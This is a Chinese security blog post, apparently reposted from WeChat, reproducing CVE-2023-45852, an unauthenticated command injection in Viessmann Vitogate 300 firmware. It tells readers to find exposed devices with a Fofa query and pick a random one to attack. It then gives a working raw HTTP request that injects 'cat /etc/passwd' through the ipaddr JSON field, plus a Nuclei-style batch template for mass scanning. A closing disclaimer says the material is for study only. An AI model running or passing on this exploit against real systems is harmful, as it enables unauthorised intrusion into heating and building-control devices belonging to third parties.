漏洞简介
Viessmann Vitogate是Viessmann公司的一个智能化控制系统。
Viessmann Vitogate 300 2.1.3.0版本存在安全漏洞,该漏洞源于允许未经身份验证的攻击者绕过身份验证,并通过put方法的ipaddr参数执行任意命令。
影响版本
Viessmann Vitogate_300_Firmware <= 2.1.3.0,Viessmann Vitogate_300
漏洞复现
步骤一:在Fofa中搜索以下语法并随机确定要进行攻击测试的目标....
#搜索语法
title="Vitogate 300"
步骤二:开启代理并打开BP对其首页进行抓包拦截....修改请求包内容。
POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: langCookie=en
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 91
{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"1;cat /etc/passwd"}}
批量脚本
id: CVE-2023-45852
info:
name: Viessmann Vitogate 300 - Remote Code Execution
author:Dreamkoi
severity: critical
description: |
In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
reference:
- https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
- https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-45852
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-45852
cwe-id: CWE-77
epss-score: 0.1097
epss-percentile: 0.94493
cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: viessmann
product: vitogate_300_firmware
shodan-query: title:"Vitogate 300"
fofa-query: title="Vitogate 300"
tags: cve,cve2023,rce,vitogate
http:
- raw:
- |
POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(header, "application/json")'
- 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
condition: and
揽月安全团队发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!!!!!
扫码获取更多精彩
原文始发于微信公众号(揽月安全团队):Viessmann Vitogate远程代码执行漏洞(CVE-2023-45852)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论